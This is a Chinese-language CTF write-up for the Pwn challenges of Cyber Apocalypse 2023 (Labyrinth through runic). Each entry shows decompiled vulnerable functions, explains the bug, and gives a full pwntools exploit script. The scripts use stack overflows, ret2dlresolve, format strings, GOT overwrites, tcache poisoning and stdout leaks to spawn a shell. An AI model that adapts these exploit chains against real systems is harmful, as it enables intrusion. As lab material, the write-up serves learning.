[Cyber Apocalypse 2023: Pwn]
1-3题略
4 Labyrinth
在输入69或者069的时候会有个gets溢出,然后有个后门函数escape_plan输出flag
fgets(s, 5, stdin);if ( !strncmp(s, "69", 2uLL) || !strncmp(s, "069", 3uLL) ){fwrite("\n""You are heading to open the door but you suddenly see something on the wall:\n""\n""\"Fly like a bird and be free!\"\n""\n""Would you like to change the door you chose?\n""\n"">> ",1uLL,0xA0uLL,_bss_start);fgets(v4, 0x44, stdin);}
from pwn import *#p = process('./labyrinth')
p = remote('142.93.38.14', 30517)
context(arch='amd64', log_level='debug')p.sendlineafter(b'>>', b'069')
p.sendafter(b'\n>> ', b'\x00'*0x30+p64(0x404800)+p64(0x4012b0)+b'\x00'*4)for i in range(20):print(p.recvline())p.interactive()
5 Pandora's Box
跟上题相似,选2时有个fgets溢出,但没有后门,先puts(got.puts)再system(bin/sh)
num = read_num("This is one of Pandora's mythical boxes!\n""\n""Will you open it or Return it to the Library for analysis?\n""\n""1. Open.\n""2. Return.\n""\n"">> ",1LL,v0,v1);if ( num != 2 ){fprintf(_bss_start, "%s\nWHAT HAVE YOU DONE?! WE ARE DOOMED!\n\n", "\x1B[1;31m");exit(1312);}fwrite("\nInsert location of the library: ", 1uLL, 0x21uLL, _bss_start);fgets(s, 256, stdin);return fwrite("\nWe will deliver the mythical box to the Library for analysis, thank you!\n\n",1uLL,0x4BuLL,_bss_start);
}
from pwn import *#p = process('./pb')
p = remote('139.59.173.68', 31508)
context(arch='amd64', log_level='debug')elf = ELF('./pb')
libc = ELF('./glibc/libc.so.6')
pop_rdi = 0x000000000040142b # pop rdi ; retp.sendlineafter(b'>>', b'2')
p.sendlineafter(b"\nInsert location of the library: ", b'\x00'*0x30+flat(0x404800, pop_rdi, elf.got['puts'], elf.plt['puts'], elf.sym['box']))
p.recvuntil(b"thank you!\n\n")
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['puts']print(hex(libc.address))
p.sendlineafter(b'>>', b'2')
p.sendlineafter(b"\nInsert location of the library: ", b'\x00'*0x38+flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system']))p.interactive()
6 Void
前5题白送的,从6题开始就比较麻烦了.
这个题目比较简单
ssize_t vuln()
{char buf[64]; // [rsp+0h] [rbp-40h] BYREFreturn read(0, buf, 0xC8uLL);
}
有个栈溢出,但由于没有puts函数,也就得不到输出,记得强网杯有一题no_output跟这个类似.是用伪造got表的方式实现,虽然伪造got表打比较麻烦但pwntools有现成的工具Ret2dlresolvePayload,可以直接使用工具
from pwn import *#p = process('./void')
p = remote('206.189.112.129', 32140)
context(arch='amd64', log_level='debug')#gdb.attach(p, 'b*0x401140')
elf = ELF('./void')
libc = ELF('./glibc/libc.so.6')rop = ROP('./void')
dl = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dl.data_addr)
rop.ret2dlresolve(dl)
rop_content = rop.chain()
payload = b'E'*0x40 + p64(0) + rop_content
payload = payload.ljust(0xc8, b'\x00')
payload += dl.payload
p.send(payload)
p.interactive()
7 Kana
这题一开始没弄明白,c++写的东西,反编译后很长很乱,后来看了个wp,原来漏洞在menu里,这种情况不多见啊.
看上去是个堆题但只有4有用,会把名字重写一下
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{int v3; // ebxchar v4[80]; // [rsp+10h] [rbp-B0h] BYREFchar v5[96]; // [rsp+60h] [rbp-60h] BYREFsub_270A((__int64)v4);init_3();while ( 1 ){sub_6E56((__int64)v5, (__int64)v4);v3 = menu((__int64)v5); // 写溢出sub_6DFC((__int64)v5);switch ( v3 ){case 1:kata((__int64)v4);break;case 2:hira(v4);break;case 3:alpha(v4);break;case 4:new_kana(v4);break;case 5:exit(0);default:continue;}}
}
菜单4,重写名字
__int64 __fastcall sub_46FA(__int64 a1)
{std::operator<<>(&std::cout, &unk_8124);return std::operator>>(&std::cin, a1 + 48);
}
漏洞,在menu,输入选项时有溢出,溢出到计数器时会发生跳跃
int __fastcall sub_7642(__int64 a1)
{__int64 v1; // rax__int64 v2; // rbx__int64 v3; // rax__int64 v4; // rax__int64 v5; // rax__int64 v6; // rax__int64 v7; // rax__int64 v8; // rax__int64 s[6]; // [rsp+10h] [rbp-70h] BYREFchar v11[44]; // [rsp+40h] [rbp-40h] BYREFint v12; // [rsp+6Ch] [rbp-14h]memset(s, 0, sizeof(s));v12 = 0;v1 = std::operator<<>(&std::cout, "------------------------------------------");std::ostream::operator<<(v1, &std::endl>);v2 = std::operator<<>(&std::cout, &unk_819B);sub_476E((__int64)v11, a1);v3 = std::operator<<(v2, v11);std::ostream::operator<<(v3, &std::endl>);std::string::~string(v11);v4 = std::operator<<>(&std::cout, " 1 - kata-fy");std::ostream::operator<<(v4, &std::endl>);v5 = std::operator<<>(&std::cout, " 2 - hira-fy");std::ostream::operator<<(v5, &std::endl>);v6 = std::operator<<>(&std::cout, " 3 - alpha-fy");std::ostream::operator<<(v6, &std::endl>);v7 = std::operator<<>(&std::cout, " 4 - new kana");std::ostream::operator<<(v7, &std::endl>);v8 = std::operator<<>(&std::cout, " 5 - exit");std::ostream::operator<<(v8, &std::endl>);std::operator<<>(&std::cout, ">> ");memset(s, 0, sizeof(s));while ( 1 ){read(0, (char *)s + v12, 1uLL);if ( *((_BYTE *)s + v12) == 10 )break;++v12;}*((_BYTE *)s + v12) = 0; // off_by_nullreturn atoi((const char *)s);
}
gdb跟进看下栈情况,向s读入时,当读入到0x5c后会把读入值写到计数器v12上,在这输入数据会发生跳跃,由于这个跳跃,在输入数据里并不是影响到栈内其它位置,所以还可以正常运行.
s的偏移是0x10,在偏移0xd0处是指向name的指针,每次菜单都会输出这个指针指向的name串,所以可以通过这个指针得到堆地址再根据堆地址找到栈地址和libc,
由于输入后会在最后置个0,这样就可以将原指针xx2d50改为xx2d00恰指向一个释放过的堆块,这里存的fd是一个堆里的地址.通过这个地址可以读到堆地址.
gef➤ tel 30
0x00007fff866ad1e0│+0x0000: 0x0000000000000021 ("!"?) ← $rsp
0x00007fff866ad1e8│+0x0008: 0x00007fff866ad2d0 → 0x0000000000000000
0x00007fff866ad1f0│+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" ← $rcx
...
0x00007fff866ad2b0│+0x00d0: 0x000055e8026f2d00 → 0x000055ed00000001 <---- ptr:2d50->2d00 leak
0x00007fff866ad2b8│+0x00d8: 0x0000000000000020
...
0x00007fff866ad338│+0x00c8: 0x00007f5f1f04618a → <__libc_start_call_main+122> mov edi, eaxChunk(addr=0x55e8026f2d00, size=0x50, flags=PREV_INUSE)[0x000055e8026f2d00 00 00 00 00 ed 55 00 00 50 37 6f 02 e8 55 00 00 .....U..P7o..U..]
Chunk(addr=0x55e8026f2d50, size=0x50, flags=PREV_INUSE)[0x000055e8026f2d50 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 bbbbbbbbbbbbbbbb]
Chunk(addr=0x55e8026f1360, size=0x50, flags=PREV_INUSE)[0x000055e8026f1360 01 00 00 00 00 00 00 00 88 d2 6a 86 ff 7f 00 00 ..........j.....]
第二步在已经得到堆地址后,将name指针覆盖为-0x23f0,由于c++的程序,大多数数据都存在堆里,这里有个程序存的栈地址
第三步根据栈地址和偏移找到__libc_start_main_ret 得到libc地址,
最后在输入5c后跳到ret位置输入system(bin/sh)
from pwn import *p = process('./kana')
#p =remote('165.232.98.59', 30915)
context(arch='amd64', log_level='debug')#libc = ELF('/home/kali/glibc/2.35-0ubuntu3-amd64/libc.so.6')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') #2.31
elf = ELF('./kana')def m4setname():p.sendlineafter(b'>> ', b'4')p.sendlineafter(b'>> ', b'b'*0x20)gdb.attach(p)m4setname()#heap
pay = b'A'*0x5c + b'\xaf' + b'c'*0x10 #overleap ptr->name
p.sendlineafter(b'>> ', pay)
p.recvuntil(b': ')
heap_addr = u64(p.recv(0x10)[8:])
print(f'{heap_addr = :x}')pay = b'A'*0x5c + b'\xaf' + b'c'*0x10 + p64(heap_addr -0x23f0)+ p32(0x20)
p.sendlineafter(b'>> ', pay)
p.recvuntil(b': ')
stack_addr = u64(p.recv(0x10)[8:])
print(f'{stack_addr = :x}')pay = b'A'*0x5c + b'\xaf' + b'c'*0x10 + p64(stack_addr + 0xb0)+ p32(0x20)
p.sendlineafter(b'>> ', pay)
p.recvuntil(b': ')
libc.address = u64(p.recv(0x10)[:8]) -0x2718a #- 122 - libc.sym['__libc_start_call_main']
print(f'{libc.address = :x}')pop_rdi = next(libc.search(asm('pop rdi;ret')))
bin_sh = next(libc.search(b'/bin/sh\0'))pay = b'A'*0x5c + b'\x77' + flat(pop_rdi+1, pop_rdi, bin_sh, libc.sym['system'])
p.sendlineafter(b'>> ', pay)p.interactive()
8 cantrol_room
菜单逻辑,它有两类菜单,1-3要求权限位为1,4-5要求为0,默认值为2
第一个漏洞在user_edit,当输入名字后按n重新输入出memset(s,0,n+1)会多写1位0,当长度为0x100时最后的0会覆盖到权限位,使权限为0
void user_edit()
{int n; // [rsp+4h] [rbp-Ch]void *s; // [rsp+8h] [rbp-8h]puts("<===[ Edit Username ]===>\n");printf("New username size: ");n = read_num();getchar();if ( *((_QWORD *)curr_user + 33) >= (unsigned __int64)n ){s = malloc(n + 1);if ( !s ){log_message(3u, "Please replace the memory catridge.");exit(-1);}memset(s, 0, n + 1);printf("\nEnter your new username: ");fgets((char *)s, n, stdin);*((_BYTE *)s + strcspn((const char *)s, "\n")) = 0;strncpy(curr_user, (const char *)s, n + 1); log_message(0, "User updated successfully!\n");free(s);}else{log_message(3u, "Can't be larger than the current username.\n");}
}
第二个漏洞在菜单1,改配置, 偏移num是有符号数未限制下限,造成前越界,并且got表可写.
unsigned __int64 configure_engine()
{_QWORD *v0; // rcx__int64 v1; // rdxint num; // [rsp+Ch] [rbp-24h]__int64 v4; // [rsp+10h] [rbp-20h] BYREF__int64 v5; // [rsp+18h] [rbp-18h] BYREFchar s[2]; // [rsp+25h] [rbp-Bh] BYREFchar v7; // [rsp+27h] [rbp-9h]unsigned __int64 v8; // [rsp+28h] [rbp-8h]v8 = __readfsqword(0x28u);*(_WORD *)s = 0;v7 = 0;if ( *((_DWORD *)curr_user + 64) == 1 ){printf("\nEngine number [0-%d]: ", 3LL);num = read_num();if ( num <= 3 ) // 输入无限制,可前越界{printf("Engine [%d]: \n", (unsigned int)num);printf("\tThrust: ");__isoc99_scanf("%ld", &v4);printf("\tMixture ratio: ");__isoc99_scanf("%ld", &v5);}getchar();printf("\nDo you want to save the configuration? (y/n) ");printf("\n> ");fgets(s, 3, stdin);s[strcspn(s, "\n")] = 0;if ( !strcmp(s, "y") ){v0 = (_QWORD *)((char *)&engines + 16 * num);v1 = v5;*v0 = v4;v0[1] = v1;log_message(0, "Engine configuration updated successfully!\n");}else{log_message(1u, "Engine configuration cancelled.\n");}}else{log_message(3u, "Only technicians are allowed to configure the engines");}return __readfsqword(0x28u) ^ v8;
}
思路:
向前越界修改got表exit为 user_edit实现循环,改free为printf,制造格式化字符串漏洞泄漏地址,得到libc地址后将free改为system
from pwn import *binary = './control_room'
#p = process(binary)
p = remote('104.248.169.117', 32164)
context(arch='amd64', log_level='debug', timeout=50)elf = ELF(binary)
libc = ELF('/home/kali/glibc/2.35-0ubuntu3-amd64/libc.so.6')def edit_user(msg):p.sendlineafter(b"New username size: ", str(0x100).encode())p.sendlineafter(b"\nEnter your new username: ", msg)menu = b'Option [1-5]: '
def m1cfg(idx,v1,v2):p.sendlineafter(menu, b'1')p.sendlineafter(b"\nEngine number [0-3]: ", str(idx).encode())p.sendlineafter(b"Thrust: ", str(v1).encode())p.sendlineafter(b"Mixture ratio: ", str(v2).encode())p.sendlineafter(b'> ', b'y')def m5role():p.sendlineafter(menu, b'5')p.sendlineafter(b"New role: ", b'1')def go_main():p.sendlineafter(menu, b'8')#user register
p.sendafter(b'Enter a username: ', b'A'*0x100)
p.sendlineafter(b'>', b'n')
edit_user(b'A'*0x10) #set user+0x100 = 0m5role()
m1cfg(-7, elf.sym['user_edit'],0) #exit->user_edit
m1cfg(-17, 0,elf.plt['printf']-4) #free->printf
go_main()#gdb.attach(p, 'b*0x401a32')edit_user(b'START%39$pEND') #6+39
'''
gdb-peda$ stack 40
0000| 0x7ffdd9c86230 --> 0x100d9c86240
0264| 0x7ffdd9c86338 --> 0x7f5298a29e40 (<__libc_start_main+128>: mov r15,QWORD PTR [rip+0x1ef159] # 0x7f5298c18fa0)
'''
p.recvuntil(b'START')
libc.address = int(p.recvuntil(b'END', drop=True), 16) - 128 - libc.sym['__libc_start_main']m5role()
m1cfg(-17, 0,libc.sym['system']) #free->system
go_main()edit_user(b'/bin/sh\x00')
p.sendline(b'cat flag.txt')p.interactive()
9 math door
堆题有3个菜单,add,free和edit,堆块大小固定为0x20,edit可以给当前位置按64位数加
漏洞在free的时候没清指指,有UAF
看似简单的一道题当时没完成,后来看了WP感觉比我想的还麻烦,再试了一下发现当时是tcache.counts溢出报错造成的.
在libc-2.31以后,当从tcache里malloc时,如果counts为0则会报错,分配不到块,低版本不检查,所以在作tcache attack时需要平衡计数.(也很简单,就是提前多释放1块)
思路:
很建一堆块(足够0x440),通过UAF修改指针形成重叠,修改头增加0x420再free到unsort,然后同样通过tcache attack将main_arena修改到_IO_2_1_stdout_修改头和wrtie_end得到libc,然后再改__free_hook ...
from pwn import *p = process('./math-door')
#p = remote('159.65.94.38', 31488)
context(arch='amd64', log_level='error')#gdb.attach(p, 'b*0x401140')
elf = ELF('./math-door')
libc = ELF('./libc.so.6')menu = b'Action: \n'
mask = (1<<64)-1
def add():p.sendlineafter(menu, b'1')def free(idx):p.sendlineafter(menu, b'2')p.sendlineafter(b'Hieroglyph index:', str(idx).encode())def edit(idx, pay):p.sendlineafter(menu, b'3')p.sendlineafter(b'Hieroglyph index:', str(idx).encode())p.sendafter(b'Value to add to hieroglyph:', pay)#0x441
for i in range(40):add()free(0)
free(10)
edit(10, flat(0x10,0,0)) # 10->#0+0x10
add() #40
add() #41 -- 0 41 1
edit(41, flat(0,0x21,0))
free(11)
free(1)
edit(41, flat(0, 0x420,0))
free(1)edit(1, flat(0xac0,0,0)) # tcache:1->_IO_2_1_stdout
add()
add() #43 stdoutedit(43, flat(0x452ef79)) #_IO_2_1_stdout_._flags_:0xfbad2887 -> 0x00001800
menu = menu[:-1]
edit(1, flat(0x28,0,0)) # tcache:1->_IO_2_1_stdout+0x20free(12)
free(13)
free(14)
edit(14, flat(-0x180&mask)) #14->1->_IO_2_1_stdout+0x20 0x00007fb6e0224723->0x00007fb6e0224700add()
add()
add() #46
edit(46, flat(5+8,0,0))'''
0x7efc191516a0 <_IO_2_1_stdout_>: 0x0000000100001800 0x00007efc19151723
0x7efc191516b0 <_IO_2_1_stdout_+16>: 0x00007efc19151723 0x00007efc19151723
0x7efc191516c0 <_IO_2_1_stdout_+32>: 0x00007efc19151723 0x00007efc19151724 24->54 write 0x7efc19151723->0x7efc19151730
0x7efc191516d0 <_IO_2_1_stdout_+48>: 0x00007efc19151724 0x00007efc19151723
0x7efc191516e0 <_IO_2_1_stdout_+64>: 0x00007efc19151724 0x0000000000000000
0x7efc191516f0 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000
0x7efc19151700 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007efc19150980
0x7efc19151710 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff
0x7efc19151720 <_IO_2_1_stdout_+128>: 0x000000000a000000 0x00007efc191527e0
0x7efc19151730 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0000000000000000
'''
p.recv(5) #00000000 0a 00 00 00 00 e0 87 76 38 4c 7f 00 00
libc.address = u64(p.recv(8)) - 0x1ee7e0 #_IO_stdfile_1_lock
print(f'{libc.address = :x}')free(15)
free(16)
free(17) #17->16->15
edit(17, flat(-0x1e0&mask,0,0)) #17->1->stdout+0x28
edit(1, flat(0x1780,0,0)) #17->1->__free_hookadd()
add()
add() #49
edit(49, flat(libc.sym['system']))
edit(0, b'/bin/sh\x00')free(0)
p.interactive()
注:_IO_2_1_stdout_+0x20处两个指针write.start,write.end为xx23和xx24也就是输出xx23到xx24的\x0a就是个回车,把end加大会输出后边的一个libc地址
WP上是先控制tcache.counts将a0的块计数改为7再重叠块将一个头改为0xa1释放到unsort,如果块有限制的话就得用这个方法,不过这个题给的数量足够大,可以省点事.
10 runic
这题没弄出来,后来看WP,复现
1,这个libc是非标的,禁用了__free_hook
2,估计版本不小于2.32,堆地址有异或加密
3,一般来说strcpy会在最后带一个0造成溢出,但这个strcpy没有带0
漏洞点在edit
unsigned __int64 edit()
{int v0; // eaxconst void *v1; // rbxint v2; // eaxint v3; // eaxint v4; // eaxchar *dest; // [rsp+0h] [rbp-30h]__int64 buf; // [rsp+8h] [rbp-28h] BYREFchar src[8]; // [rsp+10h] [rbp-20h] BYREFunsigned __int64 v9; // [rsp+18h] [rbp-18h]v9 = __readfsqword(0x28u);buf = 0LL;*(_QWORD *)src = 0LL;puts("Rune name: ");read(0, &buf, 8uLL);dest = *(char **)(MainTable[(unsigned int)hash((__int64)&buf)] + 8LL);// MainTable[]->item[idx,ptr,size]if ( dest ){puts("New name: ");read(0, src, 8uLL);if ( *(_QWORD *)(MainTable[(unsigned int)hash((__int64)src)] + 8LL) ){puts("That rune name is already in use!");}else{v0 = hash((__int64)src);strcpy((char *)MainTable[v0], src);v1 = (const void *)(MainTable[(unsigned int)hash((__int64)&buf)] + 8LL);v2 = hash((__int64)src);memcpy((void *)(MainTable[v2] + 8LL), v1, 0xCuLL);strcpy(dest, src); // 复制旧块name到新块,当str中含0如b'a\0b'时会被截断只复制'a'v3 = hash((__int64)&buf);memset((void *)MainTable[v3], 0, 0x14uLL);puts("Rune contents: ");v4 = hash((__int64)dest);read(0, dest + 8, *(unsigned int *)(MainTable[v4] + 16LL));// 复制旧块指针,覆盖data}}else{puts("There's no rune with that name!");}return __readfsqword(0x28u) ^ v9;
}
其实漏洞还是在strcpy上,题目建块的id是用hash函数生成的,这个函数将8字节各位数字相加再取后6位作为id,但是在edit里strcpy复制后作为写入长度的id,但是strcpy会因为遇0截断,造成成此id不是彼id,
漏洞利用,先弄个大块id是0再edit时输入b'\x00'+原串这样strcpy后为\0也就会使用0块的长度来读入,形成溢出.
思路:
先弄一大堆(最大0x70的块能直接释放到至少10个块),edit造写溢出改size为0x461释放到unsort
然后把main_arena挤到一个块上show出libc,由于堆有加密还需要堆地址方法相同
没有__free_hook是个大麻烦,从WP上看到打got表,strlen改system,这个原来没弄过,重点记下
p.readrepeat(1)这句没用过,不用还不行,但必需用
from pwn import *binary = './runic'p = process(binary)
#p = remote('159.65.81.51', 31393)
context(arch='amd64', log_level='debug')elf = ELF(binary)
libc = ELF('./libc.so.6')menu = b'Action: \n'
def add(idx, size, msg):p.sendlineafter(menu, b'1')p.sendafter(b"Rune name: \n", p64(idx))p.sendlineafter(b"Rune length: \n", str(size).encode())p.sendafter(b"Rune contents: \n", msg)def free(idx):p.sendlineafter(menu, b'2')p.sendafter(b"Rune name: \n", p64(idx))def edit(idx1, idx2, msg):p.sendlineafter(menu, b'3')p.sendafter(b"Rune name: \n", p64(idx1))p.sendafter(b"New name: \n", p64(idx2))p.sendafter(b"Rune contents: \n", msg)def show(idx): p.sendlineafter(menu, b'4')p.sendafter(b"Rune name: \n", p64(idx))def get_heap_addr(addr):v1 = addr>>36v2 = (addr>>24)&0xfffv3 = (addr>>12)&0xfffv4 = addr&0xfffv2 ^= v1v3 ^= v2v4 ^= v3return (v1<<36) + (v2<<24) + (v3<<12) + v4#MainTable[]->item[idx,ptr,size]
add(0, 0x30, flat(0,0,0))
add(11, 0x10, b'A')
for i in range(11):add(i+12, 0x60, b'A')#获取libc
edit(11, 1<<8, flat(0,0,0x461)) #11->0
free(12)
add(12, 0x60, b'A')
show(13)
p.recvuntil(b"Rune contents:\n\n")
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x60 - libc.sym['main_arena']
print(f"{libc.address = :x}")#获取堆地址(fd加密)
free(16)
free(14)
free(15)
add(14, 0x50,b'A')
add(16, 0x50,b'A'*8)
show(16)
p.recvuntil(b'Rune contents:\n\n'+b'A'*8)
heap_xored = u64(p.recvline()[:-1].ljust(8, b'\x00'))
heap_addr = get_heap_addr(heap_xored) -0xe0
print(f"{heap_addr = :x}")#写libc. GOT表
free(16)
add(16, 0x50,flat(0x71, (heap_addr>>12)^(libc.address + 0x1f2098 - 0x18))) #<*ABS*@got.plt>add(u64(b'a'*8), 0x60, b'/bin/sh\x00')
add(24, 0x60, b'/bin/sh\x00')
#wmemcmp,dl_find_dso_for_object,strncpy,strlen->system
add(25, 0x60, flat(libc.address + 0x2c0f0, libc.address+0x17a780, libc.sym['system']))#show
p.sendline(b'4')
p.readrepeat(1) # importent
p.sendline(b'a'*8)p.interactive()
本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
